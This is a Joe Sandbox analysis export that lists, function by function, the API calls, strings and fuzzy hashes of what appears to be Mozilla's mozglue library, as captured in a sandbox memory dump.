Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: e3d29d8f4ac0c23802867387063a10e3de6e3afbc108e5df8f68a9489bd8fd03
Instruction ID: 0b269c0bd27e453c9d4dc841c415aed084d29e66d852a6444017a34353dace6f
Opcode Fuzzy Hash: e3d29d8f4ac0c23802867387063a10e3de6e3afbc108e5df8f68a9489bd8fd03
Instruction Fuzzy Hash: 6221AE742006019FDB14EB68C888E5ABBF5AF8432DF24092DE55BC3B41DB31F948CB91

Function 6C49F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C464A68), ref: 6C49945E
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C499470
Part of subcall function 6C499420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C499482
Part of subcall function 6C499420: __Init_thread_footer.LIBCMT ref: 6C49949F

GetCurrentThreadId.KERNEL32 ref: 6C49F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C49F561

Part of subcall function 6C4994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4994EE
Part of subcall function 6C4994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C499508

GetCurrentThreadId.KERNEL32 ref: 6C49F577
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F585
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C49F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C49F3A8
[I %d/%d] profiler_resume, xrefs: 6C49F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C49F56A

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 7cfe58f1f6ea753c7680e713828388a80da10810357af7b45ad41307903a6b78
Instruction ID: 0619d0974291a148ae027db1124975eb5edb9599255f3cf63b2966351c0ae693
Opcode Fuzzy Hash: 7cfe58f1f6ea753c7680e713828388a80da10810357af7b45ad41307903a6b78
Instruction Fuzzy Hash: A6F0B475201214AFEA00FF659C48E5A7BBDEB9A26EF040019FA0583702CF31A80087A5

Function 6C4B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4B14E2
GetCurrentThreadId.KERNEL32 ref: 6C4B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C4B15BA
free.MOZGLUE(?), ref: 6C4B16B4

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 058ffa54c1eace82e95f1cb44d4f8435c8060f5253a49c7af3a9aa6c303b708c
Instruction ID: 15b3c07bfba072fa05534b8b61c2d01e19c93ed877bc3550711799970eeef717
Opcode Fuzzy Hash: 058ffa54c1eace82e95f1cb44d4f8435c8060f5253a49c7af3a9aa6c303b708c
Instruction Fuzzy Hash: 4F61BB72A017509BDB21DF64C880FDAB7B5BF89308F04851CE98A67711EB31E959CBA1

Function 6C4ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C4AD38A,?), ref: 6C4ADC6F
free.MOZGLUE(?,?,?,?,?,6C4AD38A,?), ref: 6C4ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C4AD38A,?), ref: 6C4ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C4AD38A,?), ref: 6C4ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C4AD38A,?), ref: 6C4ADD4A

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 0f89ca9ba466ca0681a66c2ef23327cebf7114f38cda029965229e84e89072eb
Instruction ID: eabd48a49ed291e5de92a4aeeb67e570fc9c6908864a1c7e8a8335d0e0fc54e3
Opcode Fuzzy Hash: 0f89ca9ba466ca0681a66c2ef23327cebf7114f38cda029965229e84e89072eb
Instruction Fuzzy Hash: 6E4157B5A00605DFCB00CF99C880D9AB7B6FF98304B654469D906ABB14DB31FC01CB90

Function 6C48F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C48F480

Part of subcall function 6C45F100: LoadLibraryW.KERNEL32(shell32,?,6C4CD020), ref: 6C45F122
Part of subcall function 6C45F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C45F132

CloseHandle.KERNEL32(00000000), ref: 6C48F555

Part of subcall function 6C4614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C461248,6C461248,?), ref: 6C4614C9
Part of subcall function 6C4614B0: memcpy.VCRUNTIME140(?,6C461248,00000000,?,6C461248,?), ref: 6C4614EF

Part of subcall function 6C45EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C45EEE3

CreateFileW.KERNEL32 ref: 6C48F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C48F523

Strings

\oleacc.dll, xrefs: 6C48F4CB

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ac1cf56ed3998a59c74436d92f03f90f220a4837c8191742dc36aa0097b20266
Instruction ID: dd682ecbe6ab34ea9951065edb79bd0d34161d374bf02a8bde44aefae28c3925
Opcode Fuzzy Hash: ac1cf56ed3998a59c74436d92f03f90f220a4837c8191742dc36aa0097b20266
Instruction Fuzzy Hash: 7E41BF3060A7509FE721EF29D884F9BB7F4AF44729F504A1CF59083691EB30E949CB92

Function 6C4B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C4B7526
__Init_thread_footer.LIBCMT ref: 6C4B7566
__Init_thread_footer.LIBCMT ref: 6C4B7597

Strings

kernel32.dll, xrefs: 6C4B7557
UnmapViewOfFile2, xrefs: 6C4B7552

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 2af988b79658badc319f7bf3b08ea78feacb022acc361aa2bf9e495f0539b358
Instruction ID: 40d692f39ccc7f9c4226b2a9791bf83c5503c7888cf781f8bd8ae2672a080827
Opcode Fuzzy Hash: 2af988b79658badc319f7bf3b08ea78feacb022acc361aa2bf9e495f0539b358
Instruction Fuzzy Hash: 46216731B0640197EE24FFE8C864ED977B1EB4633AB01452CE80167F80CB30B90286B2

Function 6C4BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C4BC0E9), ref: 6C4BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C4BC437
FreeLibrary.KERNEL32(?,6C4BC0E9), ref: 6C4BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C4BC431
ntdll.dll, xrefs: 6C4BC413

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 45da00938b01a6886bb349a687aab76545839a9f0c05a78582925db5381703d8
Instruction ID: 46dd24fab108254706dd81b3a0158a35885d736a56ad2570ab74a5bc4e6b5a0a
Opcode Fuzzy Hash: 45da00938b01a6886bb349a687aab76545839a9f0c05a78582925db5381703d8
Instruction Fuzzy Hash: 2AE0B674602742ABFF10FF72C918F127BF8A706646F044516BA0892710EBB4F140CB52

Function 6C4BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BAD9D

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C4CE330,?,6C47C059), ref: 6C4BAE3D

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: d0d8e04c407b8ffb3625955b67c73fd90f841f1511109c26e7dc02e1dfc7bc68
Instruction ID: 834dbc3c158b3a9082af4938777e7533970287fa36f377dc0237ee26c1ac0e84
Opcode Fuzzy Hash: d0d8e04c407b8ffb3625955b67c73fd90f841f1511109c26e7dc02e1dfc7bc68
Instruction Fuzzy Hash: 7E3141B1A002159FDB10EF798C44EABB7F8EF48614F15842DE84AE7710EB34E804CBA1

Function 6C45B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C45B532
moz_xmalloc.MOZGLUE(?), ref: 6C45B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C45B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C45B57E
free.MOZGLUE(00000000), ref: 6C45B58F

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: eb174709742f67f56e2169fddd36353139da0d45cc733fa7e07454a37eeddfe5
Instruction ID: 562c37e14b34f78ee72ddb9048267ed738330aa7501e4762bb033ccbd7445f75
Opcode Fuzzy Hash: eb174709742f67f56e2169fddd36353139da0d45cc733fa7e07454a37eeddfe5
Instruction Fuzzy Hash: E2210771A002099BDB00DF68CC40FAABBB9FF46318F68412DE918DB345E735D921C7A1

Function 6C490D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C453DEF), ref: 6C490D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C453DEF), ref: 6C490D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C453DEF), ref: 6C490DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C490D97, 6C490DBE
<jemalloc>, xrefs: 6C490D92, 6C490DB9

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 094fe3fabfb8acd2cca36d8346928c1bec1543b9f6fde9d213837283b8b1ebf7
Instruction ID: f78e87f11c1233264a1ee1ff149ceb96005daa3230d930e932d4ffd5ad07eb5a
Opcode Fuzzy Hash: 094fe3fabfb8acd2cca36d8346928c1bec1543b9f6fde9d213837283b8b1ebf7
Instruction Fuzzy Hash: 97F0E9313C03A423E620F2660C1AF5A6F5EA7C6B75F314139F644DAAC0DA50F40146A5

Function 6C47D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C48CBE8: GetCurrentProcess.KERNEL32(?,6C4531A7), ref: 6C48CBF1
Part of subcall function 6C48CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4531A7), ref: 6C48CBFA

EnterCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D4F2
LeaveCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D50B

Part of subcall function 6C45CFE0: EnterCriticalSection.KERNEL32(6C4DE784), ref: 6C45CFF6
Part of subcall function 6C45CFE0: LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C45D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D52E
EnterCriticalSection.KERNEL32(6C4DE7DC), ref: 6C47D690
LeaveCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D751

Strings

MOZ_CRASH(), xrefs: 6C47D4BB

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: e8ca89823e73015aef9142c46bdcceff010bb3afea99d815641e9f9e94879f7a
Instruction ID: b30f93ea333e0ad373e6f6c8fb769b695af9a4d8a5c4b6eb2937a52db7704c19
Opcode Fuzzy Hash: e8ca89823e73015aef9142c46bdcceff010bb3afea99d815641e9f9e94879f7a
Instruction Fuzzy Hash: 1F51D171A047018FD364EF28C194F5ABBE1EF89714F558A2EE599C7B84D770E840CBA2

Function 6C4AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C454290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C493EBD,6C493EBD,00000000), ref: 6C4542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C4AB127), ref: 6C4AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C4AB4E4

Strings

pid:, xrefs: 6C4AB4DE

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4382cb065dc20437e604f0fe764ae8ebc38bf4e270a288dc7df285527ce23e17
Instruction ID: bdd58137d6cb98c81c5798da916c5038d063e75d25a58d37961fbed72d8e0e80
Opcode Fuzzy Hash: 4382cb065dc20437e604f0fe764ae8ebc38bf4e270a288dc7df285527ce23e17
Instruction Fuzzy Hash: 0131F231A012189FDB10EFE9D880EEEB7B5BF19319F54052DE81167B85D732A846CBE1

Function 6C49E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C49E577
AcquireSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49E584
ReleaseSRWLockExclusive.KERNEL32(6C4DF4B8), ref: 6C49E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C49E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C49E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C49E826, 6C49E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C49E722, 6C49E750, 6C49E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C49E5A1, 6C49E5CC, 6C49E5FF, 6C49E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C49E777

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: efe8b0a17fc23eaf31b04e65bee64e963db10ff95be9ba57130ef599a670c595
Instruction ID: 266cdeb963fb63800c8eb7c34fb15d598b9c25f5d30f47bbf12c32073c830004
Opcode Fuzzy Hash: efe8b0a17fc23eaf31b04e65bee64e963db10ff95be9ba57130ef599a670c595
Instruction Fuzzy Hash: 3211AD31A05298EFDB10FF54C888F6ABBB4FB8932AF060619E84547750C770B804CBD1

Function 6C4A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4A0CD5

Part of subcall function 6C48F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C48F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4A0D40
free.MOZGLUE ref: 6C4A0DCB

Part of subcall function 6C475E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C475EDB
Part of subcall function 6C475E90: memset.VCRUNTIME140(ewKl,000000E5,?), ref: 6C475F27
Part of subcall function 6C475E90: LeaveCriticalSection.KERNEL32(?), ref: 6C475FB2

free.MOZGLUE ref: 6C4A0DDD
free.MOZGLUE ref: 6C4A0DF2

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 3c330f9bd593ec5418e5cf55a443d1f3c7d63962d0a53851939ab44d8e0bc790
Instruction ID: dc02945fbfe2342f6d4b9e7bd26bb9d338d7de0c38ab8d878d1932cb9d337354
Opcode Fuzzy Hash: 3c330f9bd593ec5418e5cf55a443d1f3c7d63962d0a53851939ab44d8e0bc790
Instruction Fuzzy Hash: 42415875A097808BD320DF29C080F9AFBE1BFD8714F518A2EE8D987750D770A446CB82

Function 6C4ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4ACDA4

Part of subcall function 6C46CA10: malloc.MOZGLUE(?), ref: 6C46CA26

Part of subcall function 6C4AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C4ACDBA,00100000,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4AD158
Part of subcall function 6C4AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C4ACDBA,00100000,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4ACDC4

Part of subcall function 6C4A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C4B15FC,?,?,?,?,6C4B15FC,?), ref: 6C4A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4ACECC

Part of subcall function 6C46CA10: mozalloc_abort.MOZGLUE(?), ref: 6C46CAA2

Part of subcall function 6C49CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C4ACEEA,?,?,?,?,00000000,?,6C49DA31,00100000,?,?,00000000), ref: 6C49CB57
Part of subcall function 6C49CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C49CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C4ACEEA,?,?), ref: 6C49CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C49DA31,00100000,?,?,00000000,?), ref: 6C4AD058

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
